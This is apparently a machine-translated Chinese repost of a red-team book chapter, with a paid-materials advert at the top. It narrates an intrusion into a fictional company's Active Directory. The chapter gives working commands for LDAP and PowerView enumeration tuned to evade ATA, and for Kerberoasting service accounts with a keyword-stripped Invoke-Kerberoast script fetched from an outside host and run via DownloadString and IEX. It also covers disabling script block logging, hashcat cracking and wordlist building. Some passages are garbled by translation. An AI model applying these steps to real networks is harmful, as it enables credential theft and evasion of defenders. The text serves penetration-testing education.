比特币密码破解研究
最新CISSP题库
国外经典攻防案例场景方案
安全审计资料(甲方必备)
AI结合网络安全进行流量监测
APT免杀
应急响应资料
欧盟数据安全认证(甲方必备)
高级免杀资料
智能设备攻击新型手法
NIST2.0框架落地(甲方必备)
工业安全渗透测试
Devops
数字取证
EDR绕过
仅列举部分资料(机翻),完整版可购买手作资源获取
每当你觉得自己陷入困境时,一定要回顾你的侦察结果。在那些数据堆中,你会发现一些东西可以再次激发你的创造力。
我们已经获得了大量信息,但代价高昂。这次我们需要更加小心,以免再次被踢出网络。我们知道 ATA 和 QRadar 正在监视。在处理 ATA 或任何其他行为分析工具时,最好尽可能融入常规流量;在这种情况下,这意味着 Windows Active Directory 流量。
伪装
AD 林中的所有计算机都依赖 LDAP 来请求 AD 对象(例如用户、组、计算机和 GPO 设置)的副本以进行缓存。LDAP 的使用非常普遍,因此我们可以利用它来执行大量域侦察而不会触发任何警报。在这里,我们在 PowerShell 中调用该类DirectorySearcher
来[adsisearcher]
搜索并针对 LDAP 中的 Active Directory 域服务执行查询。该类的构造函数需要一个搜索字符串。在此示例中,我们遵循 LDAP 的语法来搜索所有将属性设置为的adsisearcher
对象:memberOf
Domain Admins
PS C:Lab> $search=[adsisearcher]'(memberOf=CN=Domain Admins,CN=users,DC=Stratjumbo,DC=lan)'
PS C:Lab> $search.findAll()
Path
----
LDAP://CN=Administrator,CN=Users,DC=stratjumbo,DC=lan
LDAP://CN=admin.beny,CN=Users,DC=stratjumbo,DC=lan
LDAP://CN=admin.edward,CN=Users,DC=stratjumbo,DC=lan
LDAP://CN=admin.jed,CN=Users,DC=stratjumbo,DC=lan
--snip--
我们得到了一个管理员用户列表。这个列表和我们用常规net group "domain admins" /domain
命令得到的列表相同,只是后者依赖于 ATA 仔细监视的很少使用的 SAMR 协议,而我们的命令依赖于更常见的 LDAP 查询,不会被 ATA 拾取。
如果我们真的对与域控制器的任何类型的通信都心存警惕,我们可以通过直接查询 Windows 缓存的域对象来进一步伪装自己。这些对象通过 WMI 类(如win32_groupindomain
和 )公开Win32_UserAccount
。数据可能已过时,但在许多情况下可以证明是足够的:
PS C:Lab> Get-WmiObject -class win32_groupindomain | select partcomponent
PS C:Lab> Get-WmiObject -Class Win32_UserAccount -Filter "Domain='stratjumbo' AND Disabled='False'"
直接处理类adsisearcher
来查询 LDAP 对象很容易带来麻烦。LDAP 搜索过滤器的语法并不简单。
相反,我们回到我们心爱的 PowerView:它的Get-Users
、、和类似的枚举命令依赖于 LDAP 并接受更简单的过滤器语法。我们只需要记住在将 PowerView 加载到内存中之前禁用脚本块日志记录。只要我们使用第 6 章中的小型自定义脚本Get-Computers
,AMSI就不会打扰我们(更多内容请参见第 10 章)。Get-Groups
这里我们使用PowerView调用Get-NetGroupMember
命令再次列出那些域管理员:
PS X:> Get-NetGroupMember -GroupName "domain admins"
GroupDomain : stratjumbo.lan
GroupName : Domain Admins
MemberDomain: stratjumbo.lan
MemberName : admin.jed
MemberSID : S-1-5-21-2894670206-200049805-1028998937-1136
IsGroup : False
MemberDN : CN=admin.jed,CN=Users,DC=stratjumbo,DC=lan
--snip--
瞧。
我们尚未收集的一条信息是 Active Directory 中声明的计算机列表。让我们先来理清一下:
PS X:> Get-NetComputer -FullData
|select cn, operatingsystem, logoncount, lastlogon
|Format-Table -Wrap -AutoSize
cn operatingsystem logoncount lastlogon
STRAT-AD-01 Windows Server 2019 50 3/12/2020 10:11...
STRAT-AC-00 Windows Server 2019 63 3/12/2020 11:09...
STRAT-DO-05 Windows Server 2019 60 3/12/2020 10:24...
我们得到了一份机器列表,但服务器的名称最多只能算作一个谜;我们无法猜测它们的用途。(如果您还记得的话,我们的 Citrix 服务器名为STRAT-CI-01
。)
作为一位冲动的渗透测试人员,您可能希望执行大规模端口扫描,以确定这些机器上运行着哪些服务。也许您会发现一个简单的目标,例如具有默认凭据的 Tomcat、旧的 SMB 服务器、JBoss 的管理控制台等。但我相信您已经见识过足够多的东西,可以抵制这种愚蠢的冲动。端口扫描会向网络发送数百万个数据包,针对每个可用端口;无论您打开多少个 Nmap 选项,它都很难隐蔽。如果我们尝试这样做,我们可能会在第十次探测时被踢出。那么,我们如何在不单独探测每台机器的情况下执行服务侦察?
识别服务
我们向无所不知的 Active Directory 之神:域控制器祈祷。在 Windows 服务器上运行的所有打算使用 Kerberos 协议对用户进行身份验证的服务和应用程序都必须在域控制器中声明唯一的服务主体名称(SPN )。将 SPN 视为服务的唯一标识符。它不仅包含服务的名称,而且根据官方规范,还包含其端口号和运行它的服务器。有趣的是,根据 Kerberos 的设计,SPN 存储为 Active Directory 中用户对象的公共属性,以便任何经过身份验证的用户都可以查询所有有效 SPN 的列表。在清单 9-1中,我们使用 PowerView 检索我们识别的机器的 SPN。
PS X:> Get-NetUser | select name,serviceprincipalname | Format-Table -Wrap -AutoSize
sqlexpress {MSSQLSvc/strat-CI-03:14488, MSSQLSvc/strat-CI-05...
sharepoint_acct {http/strat-AK-09:8443, http/strat-AK-02:443,...
adfs_svc
sqlexpress2 {MSSQLSvc/strat-AK-03:1433, MSSQLSvc/strat-AK-02...
清单 9-1:通过 SPN 检索服务信息
就是这样:简单的端口枚举,无需用无用的数据包淹没网络。现在,我们有了部分 Web 服务器列表,例如STRAT-AK-02
和STRAT-AK-01
,更重要的是,我们已确定一些似乎使用域帐户(例如sqlexpress和sqlexpress2 )运行的数据库:即STRAT-CI-03
、STRAT-CI-05
和STRAT-AK-03
。
这种技术的明显限制在于,我们只能获得支持 Kerberos 身份验证的服务,例如某些 Web 服务器(IIS、Tomcat 等)、SQL Server 数据库、WinRM(远程 PowerShell 执行)、RDP(用于远程桌面会话)、Exchange 等。但这些简单的信息可以发挥很大的作用,我们很快就会看到。
另一个需要注意的限制是网络过滤。我们可以看到它STRAT-AK-03
在端口 1433 上托管了一个 SQL Server 数据库,但没有什么可以保证我们真的可以从我们的 Citrix 服务器访问这个数据库。事实上,当我们发送一个有针对性的网络数据包探测时,它会超时,所以我们可以得出结论,它确实无法访问。
清单 9-1Get-NetUser
中的命令仅返回与常规域帐户绑定的 SPN ID。但是,SPN 也可以与计算机帐户绑定,并且通常如此,因此我们将使用以下命令获取这些帐户:Get-NetComputer
PS X:> Get-NetComputer -FullData -SPN *
| select samaccountname,serviceprincipalname
| Format-Table -Wrap -AutoSize
Samaccountname serviceprincipalname
------------- --------------------
STRAT-AD-01$ TERMSRV/STRAT-AD-01, Ldap/STRAT-AD-01, DNS/Strat-AD-01...
我们可以看到,DC 的机器账户STRAT-AD-01$
有许多与之绑定的 SPN - TERMSRV(终端服务,在 Windows Server 2008 R2 及更高版本中称为远程桌面服务)、LDAP、DNS 等等 - 这是域控制器所期望的。
我们使用简单的查找来分析收集的机器、服务和端口的 SPN 列表,并推断出 SQL 数据库几乎都位于同一网段中:
PS X:> nslookup strat-ci-03
Name: strat-ci-01.stratjumbo.lan
Address: 10.134.0.78
PS X:> nslookup strat-ak-03
Name: strat-ak-03.stratjumbo.lan
Address: 10.134.0.14
--snip--
很有趣。之前我们无法访问 上的数据库端口 1433 STRAT-AK-03
,但 Citrix 肯定被授予访问其数据库的权限,以便检索对象、用户会话映射等。鉴于名称,我们观察结果,似乎可以肯定 Citrix 数据库的名称将采用STRAT-CI-
XX形式。简单的 ping 探测很快就能证实这一点:
PS X:> ping strat-ci-03
Pinging strat-ci-03.stratjumbo.lan [10.134.0.78] with 32 bytes of data:
Reply from 10.134.0.78: bytes=32 time=94ms TTL=128
--snip--
即使我们无法通过网络访问其他数据库,Citrix 数据库也有可能与同一子网中的其他数据库自由通信。这是许多网络架构中最常见的设置:让所有流量在网络接口内流动,并阻止从外部进入的所有内容。
因此,如果我们设法控制 Citrix 数据库,我们可能能够转向其他数据库并在内存中查找凭据、脚本中的密码,甚至开发源代码。
攻击数据库
我们需要弄清楚如何攻击STRAT-CI-03
数据库。不用担心:这时 Kerberos 的魔力又一次发挥作用了。要使用 Kerberos,了解它如何验证用户身份非常重要。请允许我稍微离题一下,介绍下一次攻击。
揭秘 Kerberos
当用户启动对服务(由其 SPN 标识)的身份验证过程时,将执行以下步骤来完成 Kerberos 身份验证协议:
- 用户使用其密码哈希加密当前时间戳并将其发送到域控制器。
- 域控制器将仅授权过去五分钟内提交的请求,因此它使用存储在 Active Directory 中的哈希解密时间戳,并检查它是否在五分钟范围内。如果在,域控制器将发回一组加密数据 - 票据授予票据 (TGT) - 其中包含用户的身份及其权限。只有域控制器可以解密和读取 TGT。
- 稍后,想要访问 Web 服务、数据库或域中任何其他服务的用户再次联系域控制器,并盲目地将 TGT 连同所需服务的名称一起发回。域控制器验证 TGT 的真实性并发回票证授予服务 (TGS)票证,该票证是包含用户身份的加密数据块。此 TGS 票证只能由目标服务读取。
- 用户盲目地将 TGS 票证转发到目标服务,目标服务解密数据、检索用户身份并授予访问权限。
在此流程概述中,我故意省略了用于对称加密数据的众多会话密钥交换,因为它们不符合我们的直接目的。相反,我们将重点介绍 TGS 票证 - 包含用户身份的加密数据块。此票证使用服务帐户的 NT 哈希(即其密码的哈希)进行加密。
这就是有趣的地方。域中的任何人都可以请求 TGS 票证,无论他们是否真的有权访问该服务。域控制器并不关心,它只是分发加密的信息块。
如果我们设法掌握了这些加密信息,我们是否可以破解它并确定密钥?当然可以!在这种情况下,密钥是服务的域密码。这种技术被Tim Medin称为Kerberoasting 。
这次攻击最棒的地方在于,无论从系统还是网络的角度来看,它都完全合法。访问服务的 TGS 请求始终在发生,因此 ATA 很难找到有效的签名来标记这次攻击。行为分析可能会发现大量连续的 TGS 票证请求发送到域控制器,但它会产生令人沮丧的误报数量,因为这是一个标准且重复发生的事件,尤其是在 Citrix 环境中。
Kerberoast 攻击数据库
让我们将理论付诸实践。作为避免被任何行为分析工具检测到的额外预防措施,我们将只为运行 SQL Server 数据库的帐户请求几个 TGS 票证:sqlexpress和sqlexpress2。为此,我们将使用Invoke-Kerberoast
Empire 框架附带的 PowerShell 脚本。
我们禁用了脚本块日志记录,但这并不是不谨慎的理由。与 PowerView 一样,我们将修改脚本,使其可以通过一些简单的更改(例如修改方法名称、删除注释以及删除一些可疑关键字(例如和 )Invoke-Kerberoast
)来逃避检测。这足以欺骗大多数安全工具。要亲自查看这些更改,请将 https://sf-res.com/kerberoast.ps1 上的原始脚本与https://sf-res.com/kerberoast.ps1上的原始脚本进行比较,如果您在最近的 Windows 计算机上加载它,它肯定会触发 Windows Defender,而修改后的脚本应该不会被注意到,可在https://github.com/sparcflow/HackLikeALegend/上的ps_scripts文件夹中找到。krbtgt
powerview
首先,我们需要在 PowerShell 窗口中准备一个浏览器对象:
PS X:> $browser = New-Object System.Net.WebClient;
PS X:> $browser.Proxy.Credentials =[System.Net.CredentialCache]::DefaultNetworkCredentials;
然后我们可以下载修改后的脚本:
PS X:> $content = $browser.DownloadString("https://sf-res.com/kerberoast.ps1")
PS X:> IEX($content);
并执行它,将搜索范围限定为满足*sql*
条件的 SPN。我们将结果保存到hash.txt中,格式为 hashcat 可以理解,hashcat 是一款著名的密码破解软件,我们稍后将使用它来恢复秘密加密密钥:
PS X:> Invoke-Kerber -OutputFormat hashcat -LDAPFilter '(SamAccountName=*sql*)' | out-file hash.txt
$krb5tgs$23$*sqlexpress$stratjumbo.lan$MSSQLSvc:1488*$76E348C...
$krb5tgs$23$*sqlexpress2$stratjumbo.lan$MSSQLSvc:1488*$1888A1...
$krb5tgs$23$*sqlexpress_fs$stratjumbo.lan$MSSQLSvc:1488*$D08C...
$krb5tgs$23$*sql_dev$stratjumbo.lan$MSSQLSvc:1488*$15A3FFE057...
以下是破解这些密码的命令,其中-m
引用了 Kerberos 5 TGS-REP etype 23 算法,wordlist.txt是可能的密码候选列表:
C:HLLLab> .hashcat64.exe -m 13100 hash.txt wordlist.txt
我们尝试使用 Kali 上的默认单词表在我们的标准虚拟专用服务器上破解这些密码,但 Kerberos 5 TGS-REP 算法比更常见的 NT 哈希格式慢约 150 倍。考虑到我们目前的哈希率,这可能需要几个月甚至几年才能完成。我们需要优化这种离线暴力攻击。
破解密码
熟悉破解密码的人都知道,我们可以调整两个旋钮来加快破解过程:
- 使用一流的单词表,涵盖各种各样的密码候选,从键盘行走(qwerty)到具有最常见复杂性模式的经典词典单词。
- 调整破解设备以使用强大的图形处理单元 (GPU)。CPU 的设计目的是在四个或八个核心上按顺序运行指令,而 GPU 则倾向于在数千个功能较弱的核心上分布并行操作。这对于破解密码等需要将相同指令应用于具有相对不相关输出的多组数据的操作来说是理想的。
让我们首先了解一下提升 GPU 功率的选项。
密码破解设置
构建自己的密码破解设备需要一定的投资和热情。除非你想通过兼职加密货币挖矿来平衡成本,否则硬件成本可能会高得离谱,而且偶尔的电费可能很快就会变得很贵。
截至 2022 年,NVIDIA GTX 3080 可能是破解密码的最佳显卡之一。以下是在单个 GTX 3080 卡上运行 hashcat 的几个基准测试报告,针对不同类型的哈希:
C:HLLLab> .hashcat64.exe -b --benchmark-all
Hashtype: MD5
Speed.Dev.#1.....: 54033.5 MH/s (41.28ms)
Hashtype: Kerberos 5 TGS-REP etype 23
Speed.Dev.#1.....: 1191.8 MH/s (59.91ms)
--snip--
我们可以看到,破解 Kerberos 5 TGS-REP 哈希比破解 MD5 哈希慢 45 倍,因此需要强大的 GPU 能力。如果我们将这六个这样的“坏家伙”组合在一起(每个花费约 1,600 美元),我们破解 Kerberos TGS 票证的努力将飙升至每秒约 71 亿次哈希计算。这意味着我们每秒针对检索到的几个哈希测试 71 亿个密码候选。再加上一台具有 32GB RAM 的物理计算机,这套设备应该可以合理地满足我们的需求。
如果投资 GPU 卡无法满足你内心的黑客/游戏玩家的需求,你随时可以利用云 GPU 计算服务,例如 AWS、Paperspace、OVHcloud 或 Google Cloud Computing。AWS 的 p3.16xlarge 实例是其最强大的机器之一,拥有 8 张 NVIDIA V100 卡,破解 Kerberos TGS 票证的哈希率达到惊人的每秒超过 80 亿次哈希。如果这还不足以破解 Strat Jumbo 的哈希,我不知道还有什么能做到。连续运行这种类型的机器 48 小时应该足以破解我们的 Kerberos 哈希列表,而且成本低于购买一张 NVIDIA GTX 3080 卡。
最后,如何决定获得所需的处理能力取决于遵循最适合您需求的投资策略。以下任何一种情况都可以为您提供相当不错的破解设备:
- 高性能 在 AWS 上租用 p2.8xlarge 实例(8 个 NVIDIA K80),每小时 7.2 美元(24 小时约 172 美元)——每秒 2.48 亿次哈希值
- 性能卓越 以 4,800 美元购买 6 块 NVIDIA GTX 1080,每秒 17 亿哈希值
- Venti 性能 以 9,600 美元的价格购买 6 台 NVIDIA GTX 3080 – 每秒 71 亿哈希值
- 令人震惊的性能 在 AWS 上租用 p3.16xlarge 实例(8 个 NVIDIA V100),每小时 24 美元(24 小时约 576 美元)——每秒 81 亿次哈希值
我们将选择其中最温和的方案,在 AWS 上租用 p2.8xlarge 实例 24 小时。为了弥补相对不足的功能,我们应该为 hashcat 构建一个强大的单词表。
建立单词表
我们目前的破解工具虽然功能强大,但无法穷尽所有可能的密码候选。但没关系——我们并不是在利用 Kerberos 加密算法本身的漏洞;相反,我们是在利用人类定义密码的方式。正如我们在第 8 章中看到的那样,人们通常以字典中的单词为基础来设置密码,并添加一些数字和特殊字符。我们将构建我们的单词表来反映这种人类倾向。我们在这里的目标不是随机的、精心构造的密码;我们承认我们需要放弃这些密码,而是致力于提高常规人类密码的有效性。
我们将从常用字典单词库开始。人们倾向于使用他们熟悉的事物作为密码的根源,因此我们需要查找包含姓名、地点、季节、乐队、城市等的单词表,以及与 Strat Jumbo 活动领域(编程和金融)相关的单词。
CrackStation ( https://crackstation.net/ ) 拥有最完整、最多样化的免费在线词汇表之一,其中有超过 14 亿个候选词,包括从维基百科、古腾堡计划和其他开源资源中提取的单词。这是一个涵盖多个主题的出色输入源。我们可以使用此词汇表作为基础,并通过添加来自 Strat Jumbo 网站的单词来使其适应我们当前的目标。
我们运行https://github.com/sparcflow/HackLikeALegend/的py_scripts文件夹中的自定义脚本wordcollector.py来抓取网站并提取单词以提供给我们的单词表:
root@C2Server:~# python wordcollector.py https://www.stratjumbo.com
financials
strataccounting
stratjumbo
--snip--
我们将这些单词保存到wordlist.txt中,删除重复项,并将结果保存到由 193,011 个密码候选组成的新文件中:
root@C2Server:~# sort -u wordlist.txt > scraped_wordlist.txt| wc -l
193011
我们将这些单词添加到 CrackStation 组合中,并生成一个由独特且排序的候选词组成的统一单词表。我们甚至可以加入《权力的游戏》世界中的几十万个单词,因为 Strat Jumbo 的管理员似乎非常喜欢它。在这里,我们从《权力的游戏》维基百科中抓取单词:
root@C2Server:~# python wordcollector.py http://gameofthrones.wikia.com/wiki/Game_of_Thrones_Wiki
现在我们需要应用规则或掩码将这数十亿个可行候选密码转换成潜在密码,这些密码符合 Strat Jumbo 的密码策略,即至少八个字符和三个字符类(大写、小写和数字或特殊字符)。
许多人竞相创建最好、最有效的规则来涵盖简单和模糊的组合,从 KoreLogic 著名的规则集http://contest-2010.korelogic.com/rules-hashcat.html到随机 GitHub 存储库,如https://github.com/praetorian-inc/Hob0Rules/。我个人认为,大多数这些规则集都过于努力地捕捉那 1% 的密码破解者无法破解的密码,而不是模仿那些试图应对日益严格的密码策略的沮丧员工使用的实际密码。例如,hashcat 的 RockYou 规则集rockyou-30000.rule(https://bit.ly/3Mn7zNz)是一个很好的开始,但它没有考虑到明显的组合,例如小写字母后跟数字、特殊字符后跟数字、大写首字母以及前缀数字或特殊字符。
为此,我设计了自己的单词表corporate.rule,它填补了这些空白,并且很好地模仿了公司密码策略。您可以在本书的资源https://github.com/sparcflow/HackLikeALegend/中找到它。我通常将它与 RockYou 规则集一起运行,到目前为止,这种组合已被证明非常有效(当然,它还需要不断改进)。hashcat
此处的命令显示,当将这些规则应用于由一个单词组成的单词表时,会产生大约 34,000 个新候选:
C:> .hashcat64.exe -m 13100 hash.txt one_word.txt -r custom_rule.txt
--snip--
Progress.........: 34601/34601 (100.00%)
Rejected.........: 0/34601 (0.00%)
Restore.Point....: 1/1 (100.00%)
Candidates.#1....: Example!@#$ -> Example!@#$%
将此规则集应用于 1,000 个候选密码,总共可得到 3400 万个密码,这似乎是一个很大的数字,但以每秒 2.48 亿次哈希计算的速度,我们的平台将在 0.13 秒内耗尽这个密钥空间。根据我们当前规则集的这些数字,我们可以计算出我们可以提供给 hashcat 的基本单词表的上限,以便在 24 小时内耗尽所有可能性。
根据我们掌握的资源,我们可能希望将 CrackStation 单词表缩减到 24 小时内可以容纳的大小,或者使用更少的规则,这样每个候选人生成的密码就更少。这一切都是为了选择合适的平衡点,既符合我们的预算,又有相当大的机会破解密码。
为了进一步突破密码破解的界限,我们将利用另一个强大的原则:全世界的人性都是一样的!某人的旧密码是其他人的新密码。我们可以收集以前在重大泄密事件中泄露的密码,以创建不需要规则处理的单词表。毕竟,这些都是真实的密码,可能遵守类似的密码复杂性规则。这为我们节省了大量的计算能力。Berzek0 的 Real-Passwords GitHub repo https://github.com/berzerk0/Probable-Wordlists/列出了近 20 亿个泄露的密码。
运行 Hashcat
有了这些候选方案,我们在 AWS GPU 平台上运行了两个最新的 hashcat 实例:一个没有使用泄露密码的规则处理,另一个则使用了完整的自定义规则。我们将在一两天后回来检查结果:
C:> .hashcat64.exe -m 13100 hash.txt complete_wordlist.txt -r custom_rule.txt
$krb5tgs$23$*sqlexpress$stratjumbo.lan$MSSQLSvc/strat-CI-03
:14488*$87...99fa91d:L3ic3st3r@87
Recovered........: 2/5 (40.00%) Digests, 2/5 (40.00%) Salts
--snip--
Candidates.#1....: burnout -> L3ic3st3r@87
我们找到了!L3ic3st3r@87是服务帐户sqlexpress的密码。请注意,这不是使用常规规则可以得到的简单密码,但考虑到我们使用的基本单词和规则集,找到它是不可避免的!
原文始发于微信公众号(教父爱分享):记一次国外红队大佬实战内网渗透测试骚思路
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论